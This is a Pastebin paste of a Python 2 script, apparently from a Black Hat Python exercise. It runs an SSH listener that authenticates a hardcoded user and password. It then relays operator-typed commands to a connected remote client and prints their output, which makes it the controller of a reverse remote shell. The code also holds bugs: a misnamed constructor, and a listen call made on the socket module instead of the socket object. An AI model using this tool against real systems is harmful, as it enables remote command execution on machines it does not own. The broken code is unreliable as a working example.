Advertisement
Illemento

Bh_sshserver.py

Feb 2nd, 2019
455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.75 KB | None | 0 0
  1. import socket
  2. import paramiko
  3. import threading
  4. import sys
  5.  
  6. # Using the key from paramiko 'demo files'
  7. host_key = paramiko.RSAKey(filename='test_rsa.key')
  8.  
  9. class Server (paramiko.ServerInterface):
  10.     def _init_(self):
  11.         self.event = threading.Event()
  12.        
  13.     def check_channel_request(self, kind, chanid):
  14.         if kind == 'session':
  15.             return paramiko.OPEN_SUCCEEDED
  16.         return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
  17.        
  18.     def check_auth_password(self, username, password):
  19.         if (username == 'justin') and (password == 'lovethepython'):
  20.             return paramiko.AUTH_SUCCESSFUL
  21.            
  22. server = sys.argv[1]
  23. ssh_port = int(sys.argv[2])
  24. try:
  25.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  26.     sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
  27.     sock.bind((server, ssh_port))
  28.     socket.listen(100)
  29.     print "[+] Listening for connections..."
  30.     client, addr = sock.accept()
  31. except Exception, e:
  32.     print "[-] Listen Failed: " + str(e)
  33.     sys.exit(1)
  34. print "[+] Got a connection!"
  35.  
  36. try:
  37.     bhSession = paramiko.Transport(client)
  38.     bhSession.add_server_key(host_key)
  39.     server = Server()
  40.     try:
  41.         bhSession.start_server(server=server)
  42.     except paramiko.SSHException, x:
  43.         print "[-] SSH negotiation failed."
  44.     chan = bhSession.accept(20)
  45.     print "[+] Authenticated!"
  46.     print chan.recv(1024)
  47.     chan.send("Welcome to bh_ssh")
  48.     while True:
  49.         try:
  50.             command = raw_input("Enter command: ").strip('\n')
  51.             if command != "exit":
  52.                 chan.send(command)
  53.                 print chan.recv(1024) + '\n'
  54.             else:
  55.                 chan.send("exit")
  56.                 print "exiting"
  57.                 bhSession.close()
  58.                 raise Exception("exit")
  59.         except KeyboardInterrupt:
  60.             bhSession.close()
  61. except Exception,e:
  62.         print "[-] Caught exception: " + str(e)
  63.         try:
  64.             bhSession.close()
  65.         except:
  66.             pass
  67.         sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement